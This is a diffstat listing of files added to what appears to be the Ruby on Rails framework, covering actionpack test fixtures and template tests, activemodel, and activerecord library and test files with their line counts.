actionpack/test/fixtures/helpers/me_too_helper.rb | 3 +
.../test/fixtures/helpers1_pack/pack1_helper.rb | 5 +
.../test/fixtures/helpers2_pack/pack2_helper.rb | 5 +
.../test/fixtures/layout_tests/alt/hello.erb | 1 +
.../test/fixtures/layout_tests/alt/layouts/alt.erb | 0
.../layouts/controller_name_space/nested.erb | 1 +
.../test/fixtures/layout_tests/layouts/item.erb | 1 +
.../fixtures/layout_tests/layouts/layout_test.erb | 1 +
.../layouts/multiple_extensions.html.erb | 1 +
.../test/fixtures/layout_tests/layouts/symlinked | 1 +
.../layouts/third_party_template_library.mab | 1 +
.../test/fixtures/layout_tests/views/goodbye.erb | 1 +
.../test/fixtures/layout_tests/views/hello.erb | 1 +
actionpack/test/fixtures/layouts/_column.html.erb | 2 +
actionpack/test/fixtures/layouts/_customers.erb | 1 +
.../test/fixtures/layouts/_partial_and_yield.erb | 2 +
actionpack/test/fixtures/layouts/_yield_only.erb | 1 +
.../test/fixtures/layouts/_yield_with_params.erb | 1 +
.../test/fixtures/layouts/block_with_layout.erb | 3 +
actionpack/test/fixtures/layouts/builder.builder | 3 +
.../test/fixtures/layouts/partial_with_layout.erb | 3 +
actionpack/test/fixtures/layouts/standard.html.erb | 1 +
actionpack/test/fixtures/layouts/streaming.erb | 4 +
.../test/fixtures/layouts/talk_from_action.erb | 2 +
.../fixtures/layouts/with_html_partial.html.erb | 1 +
actionpack/test/fixtures/layouts/xhr.html.erb | 2 +
actionpack/test/fixtures/layouts/yield.erb | 2 +
.../layouts/yield_with_render_inline_inside.erb | 2 +
.../layouts/yield_with_render_partial_inside.erb | 2 +
.../test/fixtures/localized/hello_world.de.html | 1 +
.../test/fixtures/localized/hello_world.en.html | 1 +
actionpack/test/fixtures/mascot.rb | 3 +
actionpack/test/fixtures/mascots.yml | 4 +
actionpack/test/fixtures/mascots/_mascot.html.erb | 1 +
actionpack/test/fixtures/multipart/binary_file | Bin 0 -> 19820 bytes
.../test/fixtures/multipart/boundary_problem_file | 10 +
actionpack/test/fixtures/multipart/bracketed_param | 5 +
.../test/fixtures/multipart/bracketed_utf8_param | 5 +
actionpack/test/fixtures/multipart/empty | 10 +
actionpack/test/fixtures/multipart/hello.txt | 1 +
actionpack/test/fixtures/multipart/large_text_file | 10 +
actionpack/test/fixtures/multipart/mixed_files | Bin 0 -> 19937 bytes
actionpack/test/fixtures/multipart/mona_lisa.jpg | Bin 0 -> 159528 bytes
actionpack/test/fixtures/multipart/none | 9 +
.../test/fixtures/multipart/single_parameter | 5 +
.../test/fixtures/multipart/single_utf8_param | 5 +
actionpack/test/fixtures/multipart/text_file | 10 +
...er_default_content_types_for_respond_to.xml.erb | 1 +
.../render_default_for_builder.builder | 1 +
.../old_content_type/render_default_for_erb.erb | 1 +
.../test/fixtures/override/test/hello_world.erb | 1 +
.../test/fixtures/override2/layouts/test/sub.erb | 1 +
actionpack/test/fixtures/plain_text.raw | 1 +
.../test/fixtures/plain_text_with_characters.raw | 1 +
.../test/fixtures/post_test/layouts/post.html.erb | 1 +
.../post_test/layouts/super_post.iphone.erb | 1 +
.../test/fixtures/post_test/post/index.html.erb | 1 +
.../test/fixtures/post_test/post/index.iphone.erb | 1 +
.../fixtures/post_test/super_post/index.html.erb | 1 +
.../fixtures/post_test/super_post/index.iphone.erb | 1 +
actionpack/test/fixtures/project.rb | 3 +
actionpack/test/fixtures/projects.yml | 7 +
actionpack/test/fixtures/projects/_project.erb | 1 +
actionpack/test/fixtures/public/.gitignore | 1 +
actionpack/test/fixtures/public/404.html | 1 +
actionpack/test/fixtures/public/500.da.html | 1 +
actionpack/test/fixtures/public/500.html | 1 +
actionpack/test/fixtures/public/elsewhere/cools.js | 1 +
actionpack/test/fixtures/public/elsewhere/file.css | 1 +
actionpack/test/fixtures/public/foo/bar.html | 1 +
actionpack/test/fixtures/public/foo/baz.css | 3 +
actionpack/test/fixtures/public/foo/index.html | 1 +
...2\223\343\201\253\343\201\241\343\201\257.html" | 1 +
actionpack/test/fixtures/public/index.html | 1 +
.../fixtures/public/javascripts/application.js | 1 +
.../test/fixtures/public/javascripts/bank.js | 1 +
.../fixtures/public/javascripts/common.javascript | 1 +
.../test/fixtures/public/javascripts/controls.js | 1 +
.../test/fixtures/public/javascripts/dragdrop.js | 1 +
.../test/fixtures/public/javascripts/effects.js | 1 +
.../test/fixtures/public/javascripts/prototype.js | 1 +
.../test/fixtures/public/javascripts/robber.js | 1 +
.../fixtures/public/javascripts/subdir/subdir.js | 1 +
.../fixtures/public/javascripts/version.1.0.js | 1 +
.../test/fixtures/public/stylesheets/bank.css | 1 +
.../test/fixtures/public/stylesheets/random.styles | 1 +
.../test/fixtures/public/stylesheets/robber.css | 1 +
.../fixtures/public/stylesheets/subdir/subdir.css | 1 +
.../fixtures/public/stylesheets/version.1.0.css | 1 +
.../fixtures/quiz/questions/_question.html.erb | 1 +
actionpack/test/fixtures/replies.yml | 15 +
actionpack/test/fixtures/replies/_reply.erb | 1 +
actionpack/test/fixtures/reply.rb | 7 +
.../respond_to/all_types_with_layout.html.erb | 1 +
...stom_constant_handling_without_block.mobile.erb | 1 +
.../iphone_with_html_response_type.html.erb | 1 +
.../iphone_with_html_response_type.iphone.erb | 1 +
.../fixtures/respond_to/layouts/missing.html.erb | 1 +
.../fixtures/respond_to/layouts/standard.html.erb | 1 +
.../respond_to/layouts/standard.iphone.erb | 1 +
.../fixtures/respond_to/using_defaults.html.erb | 1 +
.../fixtures/respond_to/using_defaults.xml.builder | 1 +
.../respond_to/using_defaults_with_all.html.erb | 1 +
.../using_defaults_with_type_list.html.erb | 1 +
.../using_defaults_with_type_list.xml.builder | 1 +
.../test/fixtures/respond_with/edit.html.erb | 1 +
actionpack/test/fixtures/respond_with/new.html.erb | 1 +
.../using_invalid_resource_with_template.xml.erb | 1 +
.../using_options_with_template.xml.erb | 1 +
.../fixtures/respond_with/using_resource.js.erb | 1 +
.../using_resource_with_block.html.erb | 1 +
actionpack/test/fixtures/ruby_template.ruby | 2 +
actionpack/test/fixtures/scope/test/modgreet.erb | 1 +
.../session_autoload_test/foo.rb | 10 +
actionpack/test/fixtures/shared.html.erb | 1 +
.../test/fixtures/star_star_mime/index.js.erb | 1 +
.../fixtures/symlink_parent/symlinked_layout.erb | 5 +
actionpack/test/fixtures/test/_200.html.erb | 1 +
.../fixtures/test/_b_layout_for_partial.html.erb | 1 +
.../_b_layout_for_partial_with_object.html.erb | 1 +
...layout_for_partial_with_object_counter.html.erb | 1 +
.../test/fixtures/test/_changing_priority.html.erb | 1 +
.../test/fixtures/test/_changing_priority.json.erb | 1 +
.../test/_content_tag_nested_in_content_tag.erb | 3 +
actionpack/test/fixtures/test/_counter.html.erb | 1 +
actionpack/test/fixtures/test/_customer.erb | 1 +
.../test/fixtures/test/_customer_counter.erb | 1 +
.../fixtures/test/_customer_counter_with_as.erb | 1 +
.../test/fixtures/test/_customer_greeting.erb | 1 +
.../test/fixtures/test/_customer_with_var.erb | 1 +
.../test/_directory/_partial_with_locales.html.erb | 1 +
.../fixtures/test/_first_json_partial.json.erb | 1 +
actionpack/test/fixtures/test/_form.erb | 1 +
actionpack/test/fixtures/test/_from_helper.erb | 1 +
actionpack/test/fixtures/test/_hash_greeting.erb | 1 +
actionpack/test/fixtures/test/_hash_object.erb | 2 +
actionpack/test/fixtures/test/_hello.builder | 1 +
.../fixtures/test/_json_change_priority.json.erb | 0
.../test/fixtures/test/_label_with_block.erb | 4 +
actionpack/test/fixtures/test/_labelling_form.erb | 1 +
.../test/_layout_for_block_with_args.html.erb | 3 +
.../fixtures/test/_layout_for_partial.html.erb | 3 +
.../test/_layout_with_partial_and_yield.html.erb | 4 +
.../test/fixtures/test/_local_inspector.html.erb | 1 +
.../test/fixtures/test/_object_inspector.erb | 1 +
actionpack/test/fixtures/test/_one.html.erb | 1 +
actionpack/test/fixtures/test/_partial.erb | 1 +
actionpack/test/fixtures/test/_partial.html.erb | 1 +
actionpack/test/fixtures/test/_partial.js.erb | 1 +
.../test/_partial_for_use_in_layout.html.erb | 1 +
.../test/fixtures/test/_partial_html_erb.html.erb | 1 +
.../fixtures/test/_partial_name_local_variable.erb | 1 +
actionpack/test/fixtures/test/_partial_only.erb | 1 +
.../test/fixtures/test/_partial_only_html.html | 1 +
.../test/fixtures/test/_partial_with_layout.erb | 2 +
.../test/_partial_with_layout_block_content.erb | 4 +
.../test/_partial_with_layout_block_partial.erb | 4 +
.../test/_partial_with_only_html_version.html.erb | 1 +
.../test/fixtures/test/_partial_with_partial.erb | 2 +
actionpack/test/fixtures/test/_person.erb | 2 +
actionpack/test/fixtures/test/_raise.html.erb | 1 +
.../test/fixtures/test/_raise_indentation.html.erb | 13 +
.../fixtures/test/_second_json_partial.json.erb | 1 +
actionpack/test/fixtures/test/_two.html.erb | 1 +
.../test/fixtures/test/_utf8_partial.html.erb | 1 +
.../fixtures/test/_utf8_partial_magic.html.erb | 2 +
.../test/fixtures/test/action_talk_to_layout.erb | 2 +
actionpack/test/fixtures/test/basic.html.erb | 1 +
.../test/calling_partial_with_layout.html.erb | 1 +
actionpack/test/fixtures/test/capturing.erb | 4 +
.../test/fixtures/test/change_priority.html.erb | 2 +
actionpack/test/fixtures/test/content_for.erb | 1 +
.../fixtures/test/content_for_concatenated.erb | 3 +
.../fixtures/test/content_for_with_parameter.erb | 2 +
actionpack/test/fixtures/test/dont_pick_me | 1 +
.../test/dot.directory/render_file_with_ivar.erb | 1 +
.../test/fixtures/test/formatted_html_erb.html.erb | 1 +
.../test/fixtures/test/formatted_xml_erb.builder | 1 +
.../test/fixtures/test/formatted_xml_erb.html.erb | 1 +
.../test/fixtures/test/formatted_xml_erb.xml.erb | 1 +
actionpack/test/fixtures/test/greeting.html.erb | 1 +
actionpack/test/fixtures/test/greeting.xml.erb | 1 +
actionpack/test/fixtures/test/hello,world.erb | 1 +
actionpack/test/fixtures/test/hello.builder | 4 +
actionpack/test/fixtures/test/hello/hello.erb | 1 +
.../test/fixtures/test/hello_world.da.html.erb | 1 +
actionpack/test/fixtures/test/hello_world.erb | 1 +
.../test/fixtures/test/hello_world.pt-BR.html.erb | 1 +
.../fixtures/test/hello_world_container.builder | 3 +
.../fixtures/test/hello_world_from_rxml.builder | 3 +
.../test/hello_world_with_layout_false.erb | 1 +
.../test/hello_world_with_partial.html.erb | 2 +
.../test/fixtures/test/hello_xml_world.builder | 11 +
.../test/fixtures/test/html_template.html.erb | 1 +
actionpack/test/fixtures/test/hyphen-ated.erb | 1 +
.../test/implicit_content_type.atom.builder | 2 +
.../test/fixtures/test/layout_render_file.erb | 2 +
.../test/fixtures/test/layout_render_object.erb | 1 +
actionpack/test/fixtures/test/list.erb | 1 +
actionpack/test/fixtures/test/nested_layout.erb | 3 +
actionpack/test/fixtures/test/nested_streaming.erb | 3 +
.../test/non_erb_block_content_for.builder | 4 +
actionpack/test/fixtures/test/one.html.erb | 1 +
.../test/fixtures/test/potential_conflicts.erb | 4 +
.../test/fixtures/test/proper_block_detection.erb | 1 +
.../test/render_file_from_template.html.erb | 1 +
.../test/fixtures/test/render_file_with_ivar.erb | 1 +
.../test/fixtures/test/render_file_with_locals.erb | 1 +
.../test/render_file_with_locals_and_default.erb | 1 +
...icit_html_template_from_xhr_request.da.html.erb | 1 +
...mplicit_html_template_from_xhr_request.html.erb | 1 +
...nder_implicit_js_template_without_layout.js.erb | 1 +
.../test/render_partial_inside_directory.html.erb | 1 +
.../test/fixtures/test/render_to_string_test.erb | 1 +
.../fixtures/test/render_two_partials.html.erb | 2 +
actionpack/test/fixtures/test/streaming.erb | 3 +
actionpack/test/fixtures/test/streaming_buster.erb | 3 +
.../test/fixtures/test/sub_template_raise.html.erb | 1 +
actionpack/test/fixtures/test/template.erb | 1 +
.../fixtures/test/update_element_with_capture.erb | 9 +
.../test/using_layout_around_block.html.erb | 1 +
actionpack/test/fixtures/test/utf8.html.erb | 4 +
actionpack/test/fixtures/test/utf8_magic.html.erb | 5 +
.../test/utf8_magic_with_bare_partial.html.erb | 5 +
.../test/fixtures/test/with_html_partial.html.erb | 1 +
.../test/fixtures/test/with_partial.html.erb | 1 +
.../test/fixtures/test/with_partial.text.erb | 1 +
.../test/fixtures/test/with_xml_template.html.erb | 1 +
actionpack/test/fixtures/topic.rb | 3 +
actionpack/test/fixtures/topics.yml | 22 +
actionpack/test/fixtures/topics/_topic.html.erb | 1 +
.../test/fixtures/translations/templates/array.erb | 1 +
.../fixtures/translations/templates/default.erb | 1 +
.../test/fixtures/translations/templates/found.erb | 1 +
.../fixtures/translations/templates/missing.erb | 1 +
actionpack/test/fixtures/with_format.json.erb | 1 +
actionpack/test/journey/gtg/builder_test.rb | 79 +
.../test/journey/gtg/transition_table_test.rb | 115 +
actionpack/test/journey/nfa/simulator_test.rb | 98 +
.../test/journey/nfa/transition_table_test.rb | 72 +
actionpack/test/journey/nodes/symbol_test.rb | 17 +
actionpack/test/journey/path/pattern_test.rb | 288 ++
.../test/journey/route/definition/parser_test.rb | 110 +
.../test/journey/route/definition/scanner_test.rb | 56 +
actionpack/test/journey/route_test.rb | 106 +
actionpack/test/journey/router/strexp_test.rb | 32 +
actionpack/test/journey/router/utils_test.rb | 21 +
actionpack/test/journey/router_test.rb | 575 +++
actionpack/test/journey/routes_test.rb | 53 +
actionpack/test/lib/controller/fake_controllers.rb | 35 +
actionpack/test/lib/controller/fake_models.rb | 219 ++
actionpack/test/routing/helper_test.rb | 31 +
.../test/template/active_model_helper_test.rb | 99 +
actionpack/test/template/asset_tag_helper_test.rb | 746 ++++
actionpack/test/template/atom_feed_helper_test.rb | 349 ++
actionpack/test/template/capture_helper_test.rb | 242 ++
.../test/template/compiled_templates_test.rb | 63 +
actionpack/test/template/date_helper_i18n_test.rb | 148 +
actionpack/test/template/date_helper_test.rb | 3199 ++++++++++++++++
actionpack/test/template/debug_helper_test.rb | 8 +
.../test/template/dependency_tracker_test.rb | 46 +
actionpack/test/template/digestor_test.rb | 191 +
actionpack/test/template/erb/form_for_test.rb | 11 +
actionpack/test/template/erb/helper.rb | 24 +
actionpack/test/template/erb/tag_helper_test.rb | 30 +
actionpack/test/template/erb_util_test.rb | 60 +
.../test/template/form_collections_helper_test.rb | 342 ++
actionpack/test/template/form_helper_test.rb | 2959 +++++++++++++++
.../test/template/form_options_helper_i18n_test.rb | 27 +
.../test/template/form_options_helper_test.rb | 1304 +++++++
actionpack/test/template/form_tag_helper_test.rb | 642 ++++
.../test/template/html-scanner/cdata_node_test.rb | 15 +
.../test/template/html-scanner/document_test.rb | 148 +
actionpack/test/template/html-scanner/node_test.rb | 89 +
.../test/template/html-scanner/sanitizer_test.rb | 330 ++
.../test/template/html-scanner/tag_node_test.rb | 243 ++
.../test/template/html-scanner/text_node_test.rb | 50 +
.../test/template/html-scanner/tokenizer_test.rb | 131 +
actionpack/test/template/javascript_helper_test.rb | 104 +
actionpack/test/template/log_subscriber_test.rb | 91 +
actionpack/test/template/lookup_context_test.rb | 263 ++
actionpack/test/template/number_helper_test.rb | 151 +
actionpack/test/template/output_buffer_test.rb | 59 +
.../test/template/output_safety_helper_test.rb | 28 +
actionpack/test/template/record_identifier_test.rb | 49 +
actionpack/test/template/record_tag_helper_test.rb | 117 +
actionpack/test/template/render_test.rb | 537 +++
actionpack/test/template/resolver_patterns_test.rb | 31 +
actionpack/test/template/sanitize_helper_test.rb | 51 +
actionpack/test/template/streaming_render_test.rb | 109 +
actionpack/test/template/tag_helper_test.rb | 130 +
actionpack/test/template/template_error_test.rb | 13 +
actionpack/test/template/template_test.rb | 207 ++
actionpack/test/template/test_case_test.rb | 367 ++
actionpack/test/template/test_test.rb | 80 +
.../test/template/testing/fixture_resolver_test.rb | 18 +
.../test/template/testing/null_resolver_test.rb | 12 +
actionpack/test/template/text_helper_test.rb | 467 +++
.../test/template/translation_helper_test.rb | 138 +
actionpack/test/template/url_helper_test.rb | 829 +++++
actionpack/test/tmp/.gitignore | 0
actionpack/test/ts_isolated.rb | 15 +
activemodel/CHANGELOG.md | 213 ++
activemodel/MIT-LICENSE | 21 +
activemodel/README.rdoc | 248 ++
activemodel/Rakefile | 37 +
activemodel/activemodel.gemspec | 24 +
activemodel/examples/validations.rb | 29 +
activemodel/lib/active_model.rb | 71 +
activemodel/lib/active_model/attribute_methods.rb | 481 +++
activemodel/lib/active_model/callbacks.rb | 149 +
activemodel/lib/active_model/conversion.rb | 93 +
.../deprecated_mass_assignment_security.rb | 21 +
activemodel/lib/active_model/dirty.rb | 183 +
activemodel/lib/active_model/errors.rb | 470 +++
.../forbidden_attributes_protection.rb | 27 +
activemodel/lib/active_model/lint.rb | 110 +
activemodel/lib/active_model/locale/en.yml | 29 +
activemodel/lib/active_model/model.rb | 97 +
activemodel/lib/active_model/naming.rb | 311 ++
activemodel/lib/active_model/railtie.rb | 12 +
activemodel/lib/active_model/secure_password.rb | 115 +
activemodel/lib/active_model/serialization.rb | 163 +
activemodel/lib/active_model/serializers/json.rb | 145 +
activemodel/lib/active_model/serializers/xml.rb | 238 ++
activemodel/lib/active_model/test_case.rb | 4 +
activemodel/lib/active_model/translation.rb | 69 +
activemodel/lib/active_model/validations.rb | 379 ++
.../lib/active_model/validations/absence.rb | 31 +
.../lib/active_model/validations/acceptance.rb | 55 +
.../lib/active_model/validations/callbacks.rb | 110 +
.../lib/active_model/validations/clusivity.rb | 41 +
.../lib/active_model/validations/confirmation.rb | 61 +
.../lib/active_model/validations/exclusion.rb | 50 +
activemodel/lib/active_model/validations/format.rb | 115 +
.../lib/active_model/validations/inclusion.rb | 49 +
activemodel/lib/active_model/validations/length.rb | 126 +
.../lib/active_model/validations/numericality.rb | 136 +
.../lib/active_model/validations/presence.rb | 39 +
.../lib/active_model/validations/validates.rb | 169 +
activemodel/lib/active_model/validations/with.rb | 147 +
activemodel/lib/active_model/validator.rb | 184 +
activemodel/lib/active_model/version.rb | 11 +
activemodel/test/cases/attribute_methods_test.rb | 264 ++
activemodel/test/cases/callbacks_test.rb | 114 +
activemodel/test/cases/conversion_test.rb | 36 +
.../deprecated_mass_assignment_security_test.rb | 16 +
activemodel/test/cases/dirty_test.rb | 128 +
activemodel/test/cases/errors_test.rb | 303 ++
.../cases/forbidden_attributes_protection_test.rb | 36 +
activemodel/test/cases/helper.rb | 10 +
activemodel/test/cases/lint_test.rb | 20 +
activemodel/test/cases/model_test.rb | 32 +
activemodel/test/cases/naming_test.rb | 274 ++
activemodel/test/cases/railtie_test.rb | 29 +
activemodel/test/cases/secure_password_test.rb | 97 +
activemodel/test/cases/serialization_test.rb | 168 +
.../cases/serializers/json_serialization_test.rb | 216 ++
.../cases/serializers/xml_serialization_test.rb | 263 ++
activemodel/test/cases/translation_test.rb | 101 +
.../cases/validations/absence_validation_test.rb | 67 +
.../validations/acceptance_validation_test.rb | 68 +
.../test/cases/validations/callbacks_test.rb | 98 +
.../validations/conditional_validation_test.rb | 139 +
.../validations/confirmation_validation_test.rb | 105 +
.../cases/validations/exclusion_validation_test.rb | 92 +
.../cases/validations/format_validation_test.rb | 149 +
.../i18n_generate_message_validation_test.rb | 138 +
.../test/cases/validations/i18n_validation_test.rb | 373 ++
.../cases/validations/inclusion_validation_test.rb | 124 +
.../cases/validations/length_validation_test.rb | 424 +++
.../validations/numericality_validation_test.rb | 194 +
.../cases/validations/presence_validation_test.rb | 107 +
.../test/cases/validations/validates_test.rb | 159 +
.../cases/validations/validations_context_test.rb | 39 +
.../test/cases/validations/with_validation_test.rb | 195 +
activemodel/test/cases/validations_test.rb | 376 ++
activemodel/test/config.rb | 3 +
activemodel/test/models/account.rb | 5 +
activemodel/test/models/administrator.rb | 11 +
activemodel/test/models/automobile.rb | 12 +
activemodel/test/models/blog_post.rb | 9 +
activemodel/test/models/contact.rb | 26 +
activemodel/test/models/custom_reader.rb | 15 +
activemodel/test/models/helicopter.rb | 7 +
activemodel/test/models/oauthed_user.rb | 11 +
activemodel/test/models/person.rb | 17 +
activemodel/test/models/person_with_validator.rb | 24 +
activemodel/test/models/project.rb | 3 +
activemodel/test/models/reply.rb | 32 +
activemodel/test/models/sheep.rb | 3 +
activemodel/test/models/topic.rb | 40 +
activemodel/test/models/track_back.rb | 11 +
activemodel/test/models/user.rb | 11 +
activemodel/test/models/visitor.rb | 11 +
activemodel/test/validators/email_validator.rb | 6 +
.../test/validators/namespace/email_validator.rb | 6 +
activerecord/CHANGELOG.md | 2044 +++++++++++
activerecord/MIT-LICENSE | 20 +
activerecord/README.rdoc | 213 ++
activerecord/RUNNING_UNIT_TESTS.rdoc | 31 +
activerecord/Rakefile | 233 ++
activerecord/activerecord.gemspec | 29 +
activerecord/examples/.gitignore | 1 +
activerecord/examples/performance.rb | 172 +
activerecord/examples/simple.rb | 14 +
activerecord/lib/active_record.rb | 173 +
activerecord/lib/active_record/aggregations.rb | 261 ++
activerecord/lib/active_record/associations.rb | 1542 ++++++++
.../active_record/associations/alias_tracker.rb | 76 +
.../lib/active_record/associations/association.rb | 244 ++
.../associations/association_scope.rb | 135 +
.../associations/belongs_to_association.rb | 92 +
.../belongs_to_polymorphic_association.rb | 35 +
.../associations/builder/association.rb | 108 +
.../associations/builder/belongs_to.rb | 98 +
.../associations/builder/collection_association.rb | 89 +
.../builder/has_and_belongs_to_many.rb | 39 +
.../active_record/associations/builder/has_many.rb | 15 +
.../active_record/associations/builder/has_one.rb | 25 +
.../associations/builder/singular_association.rb | 32 +
.../associations/collection_association.rb | 608 ++++
.../active_record/associations/collection_proxy.rb | 986 +++++
.../has_and_belongs_to_many_association.rb | 65 +
.../associations/has_many_association.rb | 135 +
.../associations/has_many_through_association.rb | 197 +
.../associations/has_one_association.rb | 103 +
.../associations/has_one_through_association.rb | 36 +
.../active_record/associations/join_dependency.rb | 235 ++
.../join_dependency/join_association.rb | 174 +
.../associations/join_dependency/join_base.rb | 24 +
.../associations/join_dependency/join_part.rb | 78 +
.../lib/active_record/associations/join_helper.rb | 45 +
.../lib/active_record/associations/preloader.rb | 178 +
.../associations/preloader/association.rb | 121 +
.../associations/preloader/belongs_to.rb | 17 +
.../preloader/collection_association.rb | 24 +
.../preloader/has_and_belongs_to_many.rb | 60 +
.../associations/preloader/has_many.rb | 17 +
.../associations/preloader/has_many_through.rb | 19 +
.../associations/preloader/has_one.rb | 23 +
.../associations/preloader/has_one_through.rb | 9 +
.../associations/preloader/singular_association.rb | 21 +
.../associations/preloader/through_association.rb | 63 +
.../associations/singular_association.rb | 64 +
.../associations/through_association.rb | 87 +
.../lib/active_record/attribute_assignment.rb | 201 ++
.../lib/active_record/attribute_methods.rb | 393 ++
.../attribute_methods/before_type_cast.rb | 70 +
.../lib/active_record/attribute_methods/dirty.rb | 118 +
.../active_record/attribute_methods/primary_key.rb | 122 +
.../lib/active_record/attribute_methods/query.rb | 40 +
.../lib/active_record/attribute_methods/read.rb | 107 +
.../attribute_methods/serialization.rb | 158 +
.../attribute_methods/time_zone_conversion.rb | 59 +
.../lib/active_record/attribute_methods/write.rb | 63 +
.../lib/active_record/autosave_association.rb | 425 +++
activerecord/lib/active_record/base.rb | 323 ++
activerecord/lib/active_record/callbacks.rb | 310 ++
.../lib/active_record/coders/yaml_column.rb | 38 +
.../abstract/connection_pool.rb | 638 ++++
.../abstract/database_limits.rb | 67 +
.../abstract/database_statements.rb | 390 ++
.../connection_adapters/abstract/query_cache.rb | 95 +
.../connection_adapters/abstract/quoting.rb | 129 +
.../abstract/schema_definitions.rb | 501 +++
.../connection_adapters/abstract/schema_dumper.rb | 70 +
.../abstract/schema_statements.rb | 873 +++++
.../connection_adapters/abstract/transaction.rb | 203 ++
.../connection_adapters/abstract_adapter.rb | 440 +++
.../connection_adapters/abstract_mysql_adapter.rb | 780 ++++
.../active_record/connection_adapters/column.rb | 318 ++
.../connection_specification.rb | 96 +
.../connection_adapters/mysql2_adapter.rb | 273 ++
.../connection_adapters/mysql_adapter.rb | 558 +++
.../connection_adapters/postgresql/array_parser.rb | 97 +
.../connection_adapters/postgresql/cast.rb | 152 +
.../postgresql/database_statements.rb | 242 ++
.../connection_adapters/postgresql/oid.rb | 366 ++
.../connection_adapters/postgresql/quoting.rb | 171 +
.../postgresql/referential_integrity.rb | 30 +
.../postgresql/schema_statements.rb | 489 +++
.../connection_adapters/postgresql_adapter.rb | 921 +++++
.../connection_adapters/schema_cache.rb | 129 +
.../connection_adapters/sqlite3_adapter.rb | 624 ++++
.../connection_adapters/statement_pool.rb | 40 +
.../lib/active_record/connection_handling.rb | 98 +
activerecord/lib/active_record/core.rb | 463 +++
activerecord/lib/active_record/counter_cache.rb | 122 +
activerecord/lib/active_record/dynamic_matchers.rb | 131 +
activerecord/lib/active_record/errors.rb | 213 ++
activerecord/lib/active_record/explain.rb | 38 +
activerecord/lib/active_record/explain_registry.rb | 30 +
.../lib/active_record/explain_subscriber.rb | 29 +
activerecord/lib/active_record/fixture_set/file.rb | 55 +
activerecord/lib/active_record/fixtures.rb | 926 +++++
activerecord/lib/active_record/inheritance.rb | 200 +
activerecord/lib/active_record/integration.rb | 60 +
activerecord/lib/active_record/locale/en.yml | 47 +
.../lib/active_record/locking/optimistic.rb | 181 +
.../lib/active_record/locking/pessimistic.rb | 77 +
activerecord/lib/active_record/log_subscriber.rb | 82 +
activerecord/lib/active_record/migration.rb | 994 +++++
.../active_record/migration/command_recorder.rb | 164 +
.../lib/active_record/migration/join_table.rb | 15 +
activerecord/lib/active_record/model_schema.rb | 345 ++
.../lib/active_record/nested_attributes.rb | 521 +++
activerecord/lib/active_record/null_relation.rb | 65 +
activerecord/lib/active_record/persistence.rb | 467 +++
activerecord/lib/active_record/query_cache.rb | 56 +
activerecord/lib/active_record/querying.rb | 62 +
activerecord/lib/active_record/railtie.rb | 200 +
.../lib/active_record/railties/console_sandbox.rb | 5 +
.../active_record/railties/controller_runtime.rb | 50 +
.../lib/active_record/railties/databases.rake | 398 ++
.../lib/active_record/railties/jdbcmysql_error.rb | 16 +
.../lib/active_record/readonly_attributes.rb | 30 +
activerecord/lib/active_record/reflection.rb | 583 +++
activerecord/lib/active_record/relation.rb | 631 ++++
activerecord/lib/active_record/relation/batches.rb | 93 +
.../lib/active_record/relation/calculations.rb | 399 ++
.../lib/active_record/relation/delegation.rb | 125 +
.../lib/active_record/relation/finder_methods.rb | 349 ++
activerecord/lib/active_record/relation/merger.rb | 161 +
.../active_record/relation/predicate_builder.rb | 106 +
.../lib/active_record/relation/query_methods.rb | 1044 ++++++
.../lib/active_record/relation/spawn_methods.rb | 73 +
activerecord/lib/active_record/result.rb | 67 +
activerecord/lib/active_record/runtime_registry.rb | 17 +
activerecord/lib/active_record/sanitization.rb | 168 +
activerecord/lib/active_record/schema.rb | 65 +
activerecord/lib/active_record/schema_dumper.rb | 204 ++
activerecord/lib/active_record/schema_migration.rb | 39 +
activerecord/lib/active_record/scoping.rb | 82 +
activerecord/lib/active_record/scoping/default.rb | 146 +
activerecord/lib/active_record/scoping/named.rb | 175 +
activerecord/lib/active_record/serialization.rb | 22 +
.../active_record/serializers/xml_serializer.rb | 197 +
activerecord/lib/active_record/statement_cache.rb | 26 +
activerecord/lib/active_record/store.rb | 156 +
.../lib/active_record/tasks/database_tasks.rb | 203 ++
.../active_record/tasks/firebird_database_tasks.rb | 56 +
.../active_record/tasks/mysql_database_tasks.rb | 143 +
.../active_record/tasks/oracle_database_tasks.rb | 45 +
.../tasks/postgresql_database_tasks.rb | 90 +
.../active_record/tasks/sqlite_database_tasks.rb | 51 +
.../tasks/sqlserver_database_tasks.rb | 48 +
activerecord/lib/active_record/test_case.rb | 96 +
activerecord/lib/active_record/timestamp.rb | 119 +
activerecord/lib/active_record/transactions.rb | 399 ++
activerecord/lib/active_record/translation.rb | 22 +
activerecord/lib/active_record/validations.rb | 84 +
.../lib/active_record/validations/associated.rb | 49 +
.../lib/active_record/validations/presence.rb | 65 +
.../lib/active_record/validations/uniqueness.rb | 225 ++
activerecord/lib/active_record/version.rb | 11 +
activerecord/lib/rails/generators/active_record.rb | 23 +
.../active_record/migration/migration_generator.rb | 62 +
.../migration/templates/create_table_migration.rb | 19 +
.../active_record/migration/templates/migration.rb | 39 +
.../active_record/model/model_generator.rb | 48 +
.../active_record/model/templates/model.rb | 10 +
.../active_record/model/templates/module.rb | 7 +
activerecord/test/.gitignore | 1 +
.../connection_adapters/fake_adapter.rb | 45 +
activerecord/test/assets/example.log | 1 +
activerecord/test/assets/flowers.jpg | Bin 0 -> 5834 bytes
activerecord/test/assets/test.txt | 1 +
activerecord/test/cases/adapter_test.rb | 211 ++
.../cases/adapters/firebird/connection_test.rb | 8 +
.../test/cases/adapters/firebird/default_test.rb | 16 +
.../test/cases/adapters/firebird/migration_test.rb | 124 +
.../cases/adapters/mysql/active_schema_test.rb | 148 +
.../cases/adapters/mysql/case_sensitivity_test.rb | 35 +
.../test/cases/adapters/mysql/connection_test.rb | 172 +
.../test/cases/adapters/mysql/enum_test.rb | 10 +
.../cases/adapters/mysql/mysql_adapter_test.rb | 112 +
.../test/cases/adapters/mysql/quoting_test.rb | 25 +
.../cases/adapters/mysql/reserved_word_test.rb | 153 +
.../test/cases/adapters/mysql/schema_test.rb | 62 +
activerecord/test/cases/adapters/mysql/sp_test.rb | 15 +
.../test/cases/adapters/mysql/sql_types_test.rb | 14 +
.../cases/adapters/mysql/statement_pool_test.rb | 23 +
.../cases/adapters/mysql2/active_schema_test.rb | 148 +
.../cases/adapters/mysql2/bind_parameter_test.rb | 50 +
.../cases/adapters/mysql2/case_sensitivity_test.rb | 35 +
.../test/cases/adapters/mysql2/connection_test.rb | 97 +
.../test/cases/adapters/mysql2/enum_test.rb | 10 +
.../test/cases/adapters/mysql2/explain_test.rb | 26 +
